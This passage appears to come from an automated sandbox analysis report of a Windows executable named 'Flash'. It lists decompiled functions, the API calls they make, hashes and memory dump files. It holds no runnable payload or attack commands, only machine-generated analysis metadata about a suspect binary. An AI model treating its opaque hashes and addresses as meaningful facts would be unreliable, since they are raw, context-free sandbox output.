GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 009DAD08
OleInitialize.OLE32(00000000), ref: 009DAD85
CloseHandle.KERNEL32(00000000), ref: 00A12F56

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: d0e8e19df12fed0546df8047824cc469f53d99257475de374cbdeebfda67a5d7
Instruction ID: fb296539d4487a7ac85c46a7d3c07ee6cf528d460d36b11bd74ecbf73d29e4cb
Opcode Fuzzy Hash: d0e8e19df12fed0546df8047824cc469f53d99257475de374cbdeebfda67a5d7
Instruction Fuzzy Hash: 0F819DB0B292408EC785DFBAAD8465E7FE9EB98304710856BD419CB372EF7048468F75

Function 009E59D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009E59F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 009E5A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 009E5ABB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: bb37d5dc265f247b2a91924bbee3b529a9c9634df224861e2457d5ea91549251
Instruction ID: f0cc2ece3cf663971e4dcc9dc46c9e99faba208458f2d9bc3972158c096c4fd9
Opcode Fuzzy Hash: bb37d5dc265f247b2a91924bbee3b529a9c9634df224861e2457d5ea91549251
Instruction Fuzzy Hash: B43191B06157419FD721DF65D88469BBBF8FB48308F000A3EF59A87241EB71AD44CB52

Function 009F593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 009F5953

Part of subcall function 009FA39B: __NMSG_WRITE.LIBCMT ref: 009FA3C2
Part of subcall function 009FA39B: __NMSG_WRITE.LIBCMT ref: 009FA3CC

__NMSG_WRITE.LIBCMT ref: 009F595A

Part of subcall function 009FA3F8: GetModuleFileNameW.KERNEL32(00000000,00A953BA,00000104,00000004,00000001,009F1003), ref: 009FA48A
Part of subcall function 009FA3F8: ___crtMessageBoxW.LIBCMT ref: 009FA538

Part of subcall function 009F32CF: ___crtCorExitProcess.LIBCMT ref: 009F32D5
Part of subcall function 009F32CF: ExitProcess.KERNEL32 ref: 009F32DE

Part of subcall function 009F8D58: __getptd_noexit.LIBCMT ref: 009F8D58

RtlAllocateHeap.NTDLL(00F50000,00000000,00000001,?,00000004,?,?,009F1003,?), ref: 009F597F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: f02a4ed529786cee442ce4bb4afbfd391e0209f97a0100ce2a97806d2c97022c
Instruction ID: 7e92be16169cfd8db8cc1d9bec43c88de78a260f080c5cb77b462598d3711973
Opcode Fuzzy Hash: f02a4ed529786cee442ce4bb4afbfd391e0209f97a0100ce2a97806d2c97022c
Instruction Fuzzy Hash: 8E01D235301B0EEAE6196774AC02B7E328C8F82770F920526F7189A1E1DEF48D814761

Function 00A392C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A392D6

Part of subcall function 009F2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,009F9C54,00000000,009F8D5D,009F59C3), ref: 009F2F99
Part of subcall function 009F2F85: GetLastError.KERNEL32(00000000,?,009F9C54,00000000,009F8D5D,009F59C3), ref: 009F2FAB

_free.LIBCMT ref: 00A392E7
_free.LIBCMT ref: 00A392F9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: c825ad91f3eea81f8844a2b347f7142404a0a3c1c382e08aab1a2c35f1ac1631
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 97E05BB1715B0257CA24A7B86E40FE377FC4FC8751F15051EB519D7142CE64F8518678

Function 009D5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00A0E234

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 3792dbbf8d084de4c564694030b7a3e8130e15b6bc79c2ab31ee6a4bea6563a8
Instruction ID: 0262fb1ab75cb7cbe2f10fab1bcf1e2c7cf2ebf28e0892b06c147b89c6bcf834
Opcode Fuzzy Hash: 3792dbbf8d084de4c564694030b7a3e8130e15b6bc79c2ab31ee6a4bea6563a8
Instruction Fuzzy Hash: 1C325674648341DFCB24DF14C590B2ABBE5BF85304F15896EE88A9B362DB35EC45CB82

Function 009E48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009E48FA

Strings

EA06, xrefs: 00A208A1

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 978b78d60e3f56ad2b6797d6163e39456fa0547099a20b6054776aceaf479b89
Instruction ID: 9d68f8b2e8e18d62f465657d74a32344cde8cf7d2bebc51a9882443dcd450003
Opcode Fuzzy Hash: 978b78d60e3f56ad2b6797d6163e39456fa0547099a20b6054776aceaf479b89
Instruction Fuzzy Hash: 2A419121E041E85BDF239B699C517BF7FA58B95710F6444B5F8C1FB287C5248D4483E1

Function 00A4E139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00A4E20C

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

_wcscpy.LIBCMT ref: 00A4E29B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: dce661f8d222a55fa92ac2680ee59b6f4fb06c5976664541ca9ff1b7a56e2cbe
Instruction ID: 5c73d88327c12fe210a1e1592909f1ec5e0f4eb1607a2a6ef2e7854c3f15ca80
Opcode Fuzzy Hash: dce661f8d222a55fa92ac2680ee59b6f4fb06c5976664541ca9ff1b7a56e2cbe
Instruction Fuzzy Hash: 1F91F639A00504DFCB19DF18C585AA9B7F5FF99310B55819AE81A8F3A6DB30FD41CB81

Function 00A36135 Relevance: 3.1, APIs: 2, Instructions: 142COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00A3614E

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: 8ea3471580cd5869491cdcfe8190e3cbe453829c3649615bef3fbac976c22404
Instruction ID: 5f5172c8be89f0e4b46d45d741747d190d347321fbafa8f1989442f0f71c81e9
Opcode Fuzzy Hash: 8ea3471580cd5869491cdcfe8190e3cbe453829c3649615bef3fbac976c22404
Instruction Fuzzy Hash: 2B41A4B6A00209AFDB21DFA4C8819EFB7B8EB44350F15862EF516D7251EB709E44CB50

Function 009F0E38 Relevance: 3.1, APIs: 2, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32 ref: 009F0ED5
Sleep.KERNEL32 ref: 009F0EE7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ChangeCloseFindNotificationSleep
String ID:
API String ID: 1821831730-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 640094a576bf16fe93097680c9a601707e94e431323a4dea78a4e9fcead696d0
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: F231C571A0010ADFDB18DF58C484979FBAAFF99300B648AA5E509CB252E731EDC1CBC0

Function 009E5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 009E5FEF

Part of subcall function 009F359C: __lock.LIBCMT ref: 009F35A2
Part of subcall function 009F359C: DecodePointer.KERNEL32(00000001,?,009E6004,00A28892), ref: 009F35AE
Part of subcall function 009F359C: EncodePointer.KERNEL32(?,?,009E6004,00A28892), ref: 009F35B9

Part of subcall function 009E5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 009E5F18
Part of subcall function 009E5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 009E5F2D

Part of subcall function 009E5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 009E526C
Part of subcall function 009E5240: IsDebuggerPresent.KERNEL32 ref: 009E527E
Part of subcall function 009E5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 009E52E6
Part of subcall function 009E5240: SetCurrentDirectoryW.KERNEL32(?), ref: 009E5366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 009E602F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 4c9563e74152c6657d0697711bdd6543936d5981859084e4247e8699e92ce2d6
Instruction ID: 8e572adaec5f9bec88d57a293f43661fcea7f90032ee85c48556e2563afb9fa1
Opcode Fuzzy Hash: 4c9563e74152c6657d0697711bdd6543936d5981859084e4247e8699e92ce2d6
Instruction Fuzzy Hash: 82118EB19183019BC711DFA9EC05A5EBBF8EFD9350F00891BF044872A1DF74A945CB92

Function 009E42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,009E3E72,?,?,?,00000000), ref: 009E4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,009E3E72,?,?,?,00000000), ref: 00A20717

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9ab94599629eaccf0c71ee3c06f139c281c6559c9d25a2757990e28b97ede058
Instruction ID: 134eafd5532a9ad648fd07672b776a591c18d1292328031c249951665beec9b0
Opcode Fuzzy Hash: 9ab94599629eaccf0c71ee3c06f139c281c6559c9d25a2757990e28b97ede058
Instruction Fuzzy Hash: 8A01B570244349BEF3214E29CD8AF667A9CEB06768F10C719FAE56A1E1C7F45C858B14

Function 009F0FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009F593C: __FF_MSGBANNER.LIBCMT ref: 009F5953
Part of subcall function 009F593C: __NMSG_WRITE.LIBCMT ref: 009F595A
Part of subcall function 009F593C: RtlAllocateHeap.NTDLL(00F50000,00000000,00000001,?,00000004,?,?,009F1003,?), ref: 009F597F

std::exception::exception.LIBCMT ref: 009F101C
__CxxThrowException@8.LIBCMT ref: 009F1031

Part of subcall function 009F87CB: RaiseException.KERNEL32(?,?,?,00A8CAF8,?,?,?,?,?,009F1036,?,00A8CAF8,?,00000001), ref: 009F8820

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: c280925ca4ef7dee44aa34b6d872c85dbf1176fb4ab1ac9005a1b9aa568b0e24
Instruction ID: d8d504a2c3dca9ac2923d7f865359ac292e1aec0c0b2a81976450099a0a82adf
Opcode Fuzzy Hash: c280925ca4ef7dee44aa34b6d872c85dbf1176fb4ab1ac9005a1b9aa568b0e24
Instruction Fuzzy Hash: 33F0A43550421DF6CF24BA58DC15BFE7BAC9F42350F100855FA1492191DFB18B81C7E0

Function 009F581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 009F584C
__lock_file.LIBCMT ref: 009F586D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: f6ccaf863c401df733e8760102e84958b088e7a528bf7193f94223cb68247f06
Instruction ID: f5e212c9ff919f8683f2f627dc1b326ec403998f703da00ffa1dadc71ea613bb
Opcode Fuzzy Hash: f6ccaf863c401df733e8760102e84958b088e7a528bf7193f94223cb68247f06
Instruction Fuzzy Hash: CC014471800B4DEBCF11AF66CC01ABF7B65AFC07A0F198116BB245B1A1DB358A21DF91

Function 009F55C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009F8D58: __getptd_noexit.LIBCMT ref: 009F8D58

__lock_file.LIBCMT ref: 009F560B

Part of subcall function 009F6E3E: __lock.LIBCMT ref: 009F6E61

__fclose_nolock.LIBCMT ref: 009F5616

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: a8ab8a336b18388bebce54cd2e2a14dbd03f00dd52a3bd2895caac5f678d5a23
Instruction ID: 55633abe63e325c10d5c6ce6aa730dd510086b917b0392986d39ebb61df0b8ec
Opcode Fuzzy Hash: a8ab8a336b18388bebce54cd2e2a14dbd03f00dd52a3bd2895caac5f678d5a23
Instruction Fuzzy Hash: FDF0B471901B0D9BD7507B75880277F77E56F80335F128609B724AB1C1CB7C49019F51

Function 009F5E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 009F5EB4
__ftell_nolock.LIBCMT ref: 009F5EBF

Part of subcall function 009F8D58: __getptd_noexit.LIBCMT ref: 009F8D58

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: e93f8ea9d27403064af7ddf55eabf3273e684c279d6fa9a98280e20ad7a69443
Instruction ID: 8e2d50c03a66ffa7def1cff2af94623190a43acae826a1f1ec3a38b4febebcd4
Opcode Fuzzy Hash: e93f8ea9d27403064af7ddf55eabf3273e684c279d6fa9a98280e20ad7a69443
Instruction Fuzzy Hash: 17F0A77191161DAADB40BB74880377F76906F91331F124606A220AB1C1CF788A019B51

Function 009E5AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009E5AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 009E5B1F

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: f7fd7c7ed45dc1464c13f738f01a766e11b9717f4db6a0ed52c1138c6b3246fd
Instruction ID: 21d0ab69b3aa217dfe179bf6e9bccbfe53e45a679023c9f47917a73a7276fe5e
Opcode Fuzzy Hash: f7fd7c7ed45dc1464c13f738f01a766e11b9717f4db6a0ed52c1138c6b3246fd
Instruction Fuzzy Hash: 03F0A7709283089FD7A2DB64DC497EA77BC970130CF0401EAEA4896292DF750B89CF55

Function 00A4C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 4854193d77c45efba293a5eb1ee467bb9619a7bf1fee8f08709128a3246d739d
Instruction ID: 745169a23e0db0da2fce5b47f540a7e089b0ab99dfa931479405653dbb7d4918
Opcode Fuzzy Hash: 4854193d77c45efba293a5eb1ee467bb9619a7bf1fee8f08709128a3246d739d
Instruction Fuzzy Hash: 5BB15E39A01109DFCB14DF98D895EEEB7B5FF88720F10811AF919AB291EB70AD41CB50

Function 009DA820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction ID: b8980dd1f53ac8253815d25deb7e39652a4badcacf0b045a78259721c2f5df97
Opcode Fuzzy Hash: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction Fuzzy Hash: AB61CA70640206DFDB10DF60C891BBAB7E9EF44310F15852AE9169B392D778EDA0CB52

Function 009DD679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
